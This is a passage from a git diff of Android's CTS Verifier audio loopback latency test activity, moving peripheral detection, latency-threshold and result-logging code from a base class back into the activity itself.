-                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
-                    devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
-                    devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
-                if (devInfo.isSink()) {
-                    mOutputDevInfo = devInfo;
-                }
-                if (devInfo.isSource()) {
-                    mInputDevInfo = devInfo;
-                }
-            }  else {
-                handleDeviceConnection(devInfo);
-            }
-        }
-
-        // need BOTH input and output to test
-        mIsPeripheralAttached = mOutputDevInfo != null && mInputDevInfo != null;
-        calculateTestPeripheral();
-        showConnectedAudioPeripheral();
-        calculateLatencyThresholds();
-        displayLatencyThresholds();
-    }
-
-    protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
-        // NOP
-    }
-
-    private class ConnectListener extends AudioDeviceCallback {
-        /*package*/ ConnectListener() {}
-
-        //
-        // AudioDevicesManager.OnDeviceConnectionListener
-        //
-        @Override
-        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
-            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
-        }
-
-        @Override
-        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
-            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
-        }
-    }
-
-    private void calculateTestPeripheral() {
-        if (!mIsPeripheralAttached) {
-            if ((mOutputDevInfo != null && mInputDevInfo == null)
-                || (mOutputDevInfo == null && mInputDevInfo != null)) {
-                mTestPeripheral = TESTPERIPHERAL_INVALID;
-            } else {
-                mTestPeripheral = TESTPERIPHERAL_DEVICE;
-            }
-        } else if (!areIODevicesOnePeripheral()) {
-            mTestPeripheral = TESTPERIPHERAL_INVALID;
-        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
-                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
-            mTestPeripheral = TESTPERIPHERAL_USB;
-        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
-                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) {
-            mTestPeripheral = TESTPERIPHERAL_ANALOG_JACK;
-        } else {
-            // Huh?
-            Log.e(TAG, "No valid peripheral found!?");
-            mTestPeripheral = TESTPERIPHERAL_NONE;
-        }
-    }
-
-    private boolean isPeripheralValidForTest() {
-        return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
-                    || mTestPeripheral == TESTPERIPHERAL_USB;
-    }
-
-    private void showConnectedAudioPeripheral() {
-        mInputDeviceTxt.setText(
-                mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
-                        : "Not connected");
-        mOutputDeviceTxt.setText(
-                mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
-                        : "Not connected");
-
-        String pathName;
-        switch (mTestPeripheral) {
-            case TESTPERIPHERAL_INVALID:
-                pathName = "Invalid Test Peripheral";
-                break;
-
-            case TESTPERIPHERAL_ANALOG_JACK:
-                pathName = "Headset Jack";
-                break;
-
-            case TESTPERIPHERAL_USB:
-                pathName = "USB";
-                break;
-
-            case TESTPERIPHERAL_DEVICE:
-                pathName = "Device Speaker + Microphone";
-                break;
-
-            case TESTPERIPHERAL_NONE:
-            default:
-                pathName = "Error. Unknown Test Path";
-                break;
-        }
-        mTestPathTxt.setText(pathName);
-        mTestButton.setEnabled(
-                mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
-
-    }
-
-    private boolean areIODevicesOnePeripheral() {
-        if (mOutputDevInfo == null || mInputDevInfo == null) {
-            return false;
-        }
-
-        return mOutputDevInfo.getProductName().toString().equals(
-                mInputDevInfo.getProductName().toString());
-    }
-
-    private void calculateLatencyThresholds() {
-        switch (mTestPeripheral) {
-            case TESTPERIPHERAL_ANALOG_JACK:
-                mRecommendedLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
-                mMustLatency =  mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_MUST_LATENCY_MS;
-                break;
-
-            case TESTPERIPHERAL_USB:
-                mRecommendedLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
-                mMustLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_MUST_LATENCY_MS;
-                break;
-
-            case TESTPERIPHERAL_DEVICE:
-                // This isn't a valid case so we won't pass it, but it can be run
-                mRecommendedLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
-                mMustLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_LATENCY_MS :BASIC_MUST_LATENCY_MS;
-                break;
-
-            case TESTPERIPHERAL_NONE:
-            default:
-                mRecommendedLatency = BASIC_RECOMMENDED_LATENCY_MS;
-                mMustLatency = BASIC_MUST_LATENCY_MS;
-                break;
-        }
-    }
-
-    private void displayLatencyThresholds() {
-        if (isPeripheralValidForTest()) {
-            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText("" + mMustLatency);
-            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(
-                    "" + mRecommendedLatency);
-        } else {
-            String naStr = getResources().getString(R.string.audio_proaudio_NA);
-            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText(naStr);
-            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(naStr);
-        }
-    }
-
-    /**
-     * refresh Audio Level seekbar and text
-     */
-    private void refreshLevel() {
-        int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-        mAudioLevelSeekbar.setProgress(currentLevel);
-
-        String levelText = String.format("%s: %d/%d",
-                getResources().getString(R.string.audio_loopback_level_text),
-                currentLevel, mMaxLevel);
-        mAudioLevelText.setText(levelText);
-    }
-
-    //
-    // show active progress bar
-    //
-    protected void showWait(boolean show) {
-        mProgressBar.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
-    }
-
-    //
-    // Common loging
-    //
-    // Schema
-    private static final String KEY_LATENCY = "latency";
-    private static final String KEY_CONFIDENCE = "confidence";
-    private static final String KEY_SAMPLE_RATE = "sample_rate";
-    private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
-    private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
-    private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
-    private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
-    private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
-    private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
-    private static final String KEY_TEST_MMAP = "supports_mmap";
-    private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
-    private static final String KEY_LEVEL = "level";
-    private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
-
-    @Override
-    public String getTestId() {
-        return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
-    }
-
-    //
-    // Subclasses should call this explicitly. SubClasses should call submit() after their logs
-    //
-    @Override
-    public void recordTestResults() {
-        if (mNativeAnalyzerThread == null) {
-            return; // no results to report
-        }
-
-        CtsVerifierReportLog reportLog = getReportLog();
-        reportLog.addValue(
-                KEY_LATENCY,
-                mMeanLatencyMillis,
-                ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-
-        reportLog.addValue(
-                KEY_CONFIDENCE,
-                mMeanConfidence,
-                ResultType.HIGHER_BETTER,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_SAMPLE_RATE,
-                mNativeAnalyzerThread.getSampleRate(),
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_IS_LOW_LATENCY,
-                mNativeAnalyzerThread.isLowLatencyStream(),
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_IS_PERIPHERAL_ATTACHED,
-                mIsPeripheralAttached,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_IS_PRO_AUDIO,
-                mClaimsProAudio,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_TEST_PERIPHERAL,
-                mTestPeripheral,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_TEST_MMAP,
-                mSupportsMMAP,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_TEST_MMAPEXCLUSIVE ,
-                mSupportsMMAPExclusive,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        if (mIsPeripheralAttached) {
-            reportLog.addValue(
-                    KEY_INPUT_PERIPHERAL_NAME,
-                    mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
-                    ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-
-            reportLog.addValue(
-                    KEY_OUTPUT_PERIPHERAL_NAME,
-                    mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
-                    ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-        }
-
-        int audioLevel = mAudioLevelSeekbar.getProgress();
-        reportLog.addValue(
-                KEY_LEVEL,
-                audioLevel,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.submit();
-    }
-
-    private void startAudioTest(Handler messageHandler) {
-        getPassButton().setEnabled(false);
-
-        mTestPhase = 0;
-        java.util.Arrays.fill(mLatencyMillis, 0.0);
-        java.util.Arrays.fill(mConfidence, 0.0);
-
-        mNativeAnalyzerThread = new NativeAnalyzerThread(this);
-        if (mNativeAnalyzerThread != null) {
-            mNativeAnalyzerThread.setMessageHandler(messageHandler);
-            // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
-            mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
-            startTestPhase();
-        } else {
-            Log.e(TAG, "Couldn't allocate native analyzer thread");
-            mResultText.setText(getResources().getString(R.string.audio_loopback_failure));
-        }
-    }
-
-    private void startTestPhase() {
-        if (mNativeAnalyzerThread != null) {
-            mNativeAnalyzerThread.startTest();
-
-            // what is this for?
-            try {
-                Thread.sleep(200);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void handleTestCompletion() {
-        mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
-        mMeanAbsoluteDeviation =
-                StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
-        mMeanConfidence = StatUtils.calculateMean(mConfidence);
-
-        boolean pass = isPeripheralValidForTest()
-                && mMeanConfidence >= CONFIDENCE_THRESHOLD
-                && mMeanLatencyMillis > EPSILON
-                && mMeanLatencyMillis < mMustLatency;
-
-        getPassButton().setEnabled(pass);
-
-        String result;
-        if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
-            result = String.format(
-                    "Test Finished\nInsufficient Confidence (%.2f < %.2f). No Results.",
-                    mMeanConfidence, CONFIDENCE_THRESHOLD);
-        } else {
-            result = String.format(
-                    "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
-                            "Mean Absolute Deviation: %.2f\n" +
-                            " Confidence: %.2f\n" +
-                            " Low Latency Path: %s",
-                    (pass ? "PASS" : "FAIL"),
-                    mMeanLatencyMillis,
-                    mMustLatency,
-                    mMeanAbsoluteDeviation,
-                    mMeanConfidence,
-                    mNativeAnalyzerThread.isLowLatencyStream() ? mYesString : mNoString);
-        }
-
-        // Make sure the test thread is finished. It should already be done.
-        if (mNativeAnalyzerThread != null) {
-            try {
-                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-        mResultText.setText(result);
-
-        recordTestResults();
-
-        showWait(false);
-        mTestButton.setEnabled(true);
-    }
-
-    private void handleTestPhaseCompletion() {
-        if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
-            mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
-            mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
-
-            String result = String.format(
-                    "Test %d Finished\nLatency: %.2f ms\nConfidence: %.2f\n",
-                    mTestPhase,
-                    mLatencyMillis[mTestPhase],
-                    mConfidence[mTestPhase]);
-
-            mResultText.setText(result);
-            try {
-                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
-                // Thread.sleep(/*STOP_TEST_TIMEOUT_MSEC*/500);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-
-            mTestPhase++;
-            if (mTestPhase >= NUM_TEST_PHASES) {
-                handleTestCompletion();
-            } else {
-                startTestPhase();
-            }
-        }
-    }
-
-    /**
-     * handler for messages from audio thread
-     */
-    private Handler mMessageHandler = new Handler() {
-        public void handleMessage(Message msg) {
-            super.handleMessage(msg);
-            switch(msg.what) {
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
-                    Log.v(TAG,"got message native rec started!!");
-                    showWait(true);
-                    mResultText.setText(String.format("[phase: %d] - Test Running...",
-                            (mTestPhase + 1)));
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
-                    Log.v(TAG,"got message native rec can't start!!");
-                    mResultText.setText("Test Error opening streams.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
-                    Log.v(TAG,"got message native rec can't start!!");
-                    mResultText.setText("Test Error while recording.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
-                    mResultText.setText("Test FAILED due to errors.");
-                    handleTestCompletion();
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING:
-                    Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING");
-                    mResultText.setText(String.format("[phase: %d] - Analyzing ...",
-                            mTestPhase + 1));
-                    break;
-                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
-                    Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE");
-                    handleTestPhaseCompletion();
-                    break;
-                default:
-                    break;
-            }
-        }
-    };
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.audio_loopback_latency_activity);
-
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
-
-        mClaimsOutput = AudioSystemFlags.claimsOutput(this);
-        mClaimsInput = AudioSystemFlags.claimsInput(this);
-        mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
-
-        mYesString = getResources().getString(R.string.audio_general_yes);
-        mNoString = getResources().getString(R.string.audio_general_no);
-
-        // Pro Audio
-        ((TextView)findViewById(R.id.audio_loopback_pro_audio)).setText(
-                "" + (mClaimsProAudio ? mYesString : mNoString));
-
-        // MMAP
-        ((TextView)findViewById(R.id.audio_loopback_mmap)).setText(
-                "" + (mSupportsMMAP ? mYesString : mNoString));
-        ((TextView)findViewById(R.id.audio_loopback_mmap_exclusive)).setText(
-                "" + (mSupportsMMAPExclusive ? mYesString : mNoString));
-
-        // Low Latency
-        ((TextView)findViewById(R.id.audio_loopback_low_latency)).setText(
-                "" + (AudioSystemFlags.claimsLowLatencyAudio(this) ? mYesString : mNoString));
-
-        mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
-
-        mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
-        mTestButton.setOnClickListener(mBtnClickListener);
-
-        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
-
-        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
-
-        connectLoopbackUI();
-
-        calculateLatencyThresholds();
-        displayLatencyThresholds();
-    }
-
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.audio_loopback_test_btn:
-                    Log.i(TAG, "audio loopback test");
-                    startAudioTest(mMessageHandler);
-                    break;
-            }
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index 9490091..8ee3446 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2015 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,9 +16,679 @@
 
 package com.android.cts.verifier.audio;
 
+import android.app.AlertDialog;
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.media.MediaRecorder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.widget.Button;
+import android.widget.ProgressBar;
+import android.widget.SeekBar;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
+import com.android.cts.verifier.audio.audiolib.StatUtils;
+import com.android.cts.verifier.audio.audiolib.AudioUtils;
+import com.android.cts.verifier.CtsVerifierReportLog;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
+import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+
 /**
- * Tests Audio Device roundtrip latency by using a loopback plug.
+ * CtsVerifier Audio Loopback Latency Test
  */
-public class AudioLoopbackLatencyActivity extends AudioLoopbackBaseActivity {
-    private static final String TAG = AudioLoopbackLatencyActivity.class.getSimpleName();
+public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
+    private static final String TAG = "AudioLoopbackLatencyActivity";
+
+    // JNI load
+    static {
+        try {
+            System.loadLibrary("audioloopback_jni");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "Error loading Audio Loopback JNI library");
+            Log.e(TAG, "e: " + e);
+            e.printStackTrace();
+        }
+
+        /* TODO: gracefully fail/notify if the library can't be loaded */
+    }
+    protected AudioManager mAudioManager;
+
+    // UI
+    TextView mInputDeviceTxt;
+    TextView mOutputDeviceTxt;
+
+    TextView mAudioLevelText;
+    SeekBar mAudioLevelSeekbar;
+
+    TextView mTestPathTxt;
+
+    TextView mResultText;
+    ProgressBar mProgressBar;
+    int mMaxLevel;
+
+    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+    protected Button mTestButton;
+
+    String mYesString;
+    String mNoString;
+
+    // These flags determine the maximum allowed latency
+    private boolean mClaimsProAudio;
+    private boolean mClaimsOutput;
+    private boolean mClaimsInput;
+
+    // Useful info
+    private boolean mSupportsMMAP = AudioUtils.isMMapSupported();
+    private boolean mSupportsMMAPExclusive = AudioUtils.isMMapExclusiveSupported();
+
+    // Peripheral(s)
+    boolean mIsPeripheralAttached;  // CDD ProAudio section C-1-3
+    AudioDeviceInfo mOutputDevInfo;
+    AudioDeviceInfo mInputDevInfo;
+
+    protected static final int TESTPERIPHERAL_INVALID       = -1;
+    protected static final int TESTPERIPHERAL_NONE          = 0;
+    protected static final int TESTPERIPHERAL_ANALOG_JACK   = 1;
+    protected static final int TESTPERIPHERAL_USB           = 2;
+    protected static final int TESTPERIPHERAL_DEVICE        = 3; // device speaker + mic
+    protected int mTestPeripheral = TESTPERIPHERAL_NONE;
+
+    // Loopback Logic
+    NativeAnalyzerThread mNativeAnalyzerThread = null;
+
+    protected static final int NUM_TEST_PHASES = 5;
+    protected int mTestPhase = 0;
+
+    protected double[] mLatencyMillis = new double[NUM_TEST_PHASES];
+    protected double[] mConfidence = new double[NUM_TEST_PHASES];
+
+    protected double mMeanLatencyMillis;
+    protected double mMeanAbsoluteDeviation;
+    protected double mMeanConfidence;
+
+    protected static final double CONFIDENCE_THRESHOLD = 0.6;
+    // impossibly low latencies (indicating something in the test went wrong).
+    protected static final float EPSILON = 1.0f;
+    protected static final double PROAUDIO_RECOMMENDED_LATENCY_MS = 20.0;
+    protected static final double PROAUDIO_RECOMMENDED_USB_LATENCY_MS = 25.0;
+    protected static final double PROAUDIO_MUST_LATENCY_MS = 20.0;
+    protected static final double BASIC_RECOMMENDED_LATENCY_MS = 50.0;
+    protected static final double BASIC_MUST_LATENCY_MS = 800.0;
+    protected double mMustLatency;
+    protected double mRecommendedLatency;
+
+    // The audio stream callback threads should stop and close
+    // in less than a few hundred msec. This is a generous timeout value.
+    private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
+
+    //
+    // Common UI Handling
+    //
+    private void connectLoopbackUI() {
+        // Connected Device
+        mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
+        mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
+
+        mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
+        mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
+        mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+        mAudioLevelSeekbar.setMax(mMaxLevel);
+        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
+        refreshLevel();
+
+        mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
+            @Override
+            public void onStopTrackingTouch(SeekBar seekBar) {}
+
+            @Override
+            public void onStartTrackingTouch(SeekBar seekBar) {}
+
+            @Override
+            public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
+                mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
+                        progress, 0);
+                Log.i(TAG,"Level set to: " + progress);
+                refreshLevel();
+            }
+        });
+
+        mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
+        mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
+        showWait(false);
+    }
+
+    //
+    // Peripheral Connection Logic
+    //
+    protected void scanPeripheralList(AudioDeviceInfo[] devices) {
+        // CDD Section C-1-3: USB port, host-mode support
+
+        // Can't just use the first record because then we will only get
+        // Source OR sink, not both even on devices that are both.
+        mOutputDevInfo = null;
+        mInputDevInfo = null;
+
+        // Any valid peripherals
+        // Do we leave in the Headset test to support a USB-Dongle?
+        for (AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
+                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
+                    devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
+                    devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
+                if (devInfo.isSink()) {
+                    mOutputDevInfo = devInfo;
+                }
+                if (devInfo.isSource()) {
+                    mInputDevInfo = devInfo;
+                }
+            }  else {
+                handleDeviceConnection(devInfo);
+            }
+        }
+
+        // need BOTH input and output to test
+        mIsPeripheralAttached = mOutputDevInfo != null && mInputDevInfo != null;
+        calculateTestPeripheral();
+        showConnectedAudioPeripheral();
+        calculateLatencyThresholds();
+        displayLatencyThresholds();
+    }
+
+    protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
+        // NOP
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+    }
+
+    private void calculateTestPeripheral() {
+        if (!mIsPeripheralAttached) {
+            if ((mOutputDevInfo != null && mInputDevInfo == null)
+                || (mOutputDevInfo == null && mInputDevInfo != null)) {
+                mTestPeripheral = TESTPERIPHERAL_INVALID;
+            } else {
+                mTestPeripheral = TESTPERIPHERAL_DEVICE;
+            }
+        } else if (!areIODevicesOnePeripheral()) {
+            mTestPeripheral = TESTPERIPHERAL_INVALID;
+        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
+                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
+            mTestPeripheral = TESTPERIPHERAL_USB;
+        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
+                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) {
+            mTestPeripheral = TESTPERIPHERAL_ANALOG_JACK;
+        } else {
+            // Huh?
+            Log.e(TAG, "No valid peripheral found!?");
+            mTestPeripheral = TESTPERIPHERAL_NONE;
+        }
+    }
+
+    private boolean isPeripheralValidForTest() {
+        return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
+                    || mTestPeripheral == TESTPERIPHERAL_USB;
+    }
+
+    private void showConnectedAudioPeripheral() {
+        mInputDeviceTxt.setText(
+                mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
+                        : "Not connected");
+        mOutputDeviceTxt.setText(
+                mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
+                        : "Not connected");
+
+        String pathName;
+        switch (mTestPeripheral) {
+            case TESTPERIPHERAL_INVALID:
+                pathName = "Invalid Test Peripheral";
+                break;
+
+            case TESTPERIPHERAL_ANALOG_JACK:
+                pathName = "Headset Jack";
+                break;
+
+            case TESTPERIPHERAL_USB:
+                pathName = "USB";
+                break;
+
+            case TESTPERIPHERAL_DEVICE:
+                pathName = "Device Speaker + Microphone";
+                break;
+
+            case TESTPERIPHERAL_NONE:
+            default:
+                pathName = "Error. Unknown Test Path";
+                break;
+        }
+        mTestPathTxt.setText(pathName);
+        mTestButton.setEnabled(
+                mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
+
+    }
+
+    private boolean areIODevicesOnePeripheral() {
+        if (mOutputDevInfo == null || mInputDevInfo == null) {
+            return false;
+        }
+
+        return mOutputDevInfo.getProductName().toString().equals(
+                mInputDevInfo.getProductName().toString());
+    }
+
+    private void calculateLatencyThresholds() {
+        switch (mTestPeripheral) {
+            case TESTPERIPHERAL_ANALOG_JACK:
+                mRecommendedLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency =  mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+                break;
+
+            case TESTPERIPHERAL_USB:
+                mRecommendedLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+                break;
+
+            case TESTPERIPHERAL_DEVICE:
+                // This isn't a valid case so we won't pass it, but it can be run
+                mRecommendedLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency = mClaimsProAudio
+                        ? PROAUDIO_RECOMMENDED_LATENCY_MS :BASIC_MUST_LATENCY_MS;
+                break;
+
+            case TESTPERIPHERAL_NONE:
+            default:
+                mRecommendedLatency = BASIC_RECOMMENDED_LATENCY_MS;
+                mMustLatency = BASIC_MUST_LATENCY_MS;
+                break;
+        }
+    }
+
+    private void displayLatencyThresholds() {
+        if (isPeripheralValidForTest()) {
+            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText("" + mMustLatency);
+            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(
+                    "" + mRecommendedLatency);
+        } else {
+            String naStr = getResources().getString(R.string.audio_proaudio_NA);
+            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText(naStr);
+            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(naStr);
+        }
+    }
+
+    /**
+     * refresh Audio Level seekbar and text
+     */
+    private void refreshLevel() {
+        int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+        mAudioLevelSeekbar.setProgress(currentLevel);
+
+        String levelText = String.format("%s: %d/%d",
+                getResources().getString(R.string.audio_loopback_level_text),
+                currentLevel, mMaxLevel);
+        mAudioLevelText.setText(levelText);
+    }
+
+    //
+    // show active progress bar
+    //
+    protected void showWait(boolean show) {
+        mProgressBar.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
+    }
+
+    //
+    // Common logging
+    //
+    // Schema
+    private static final String KEY_LATENCY = "latency";
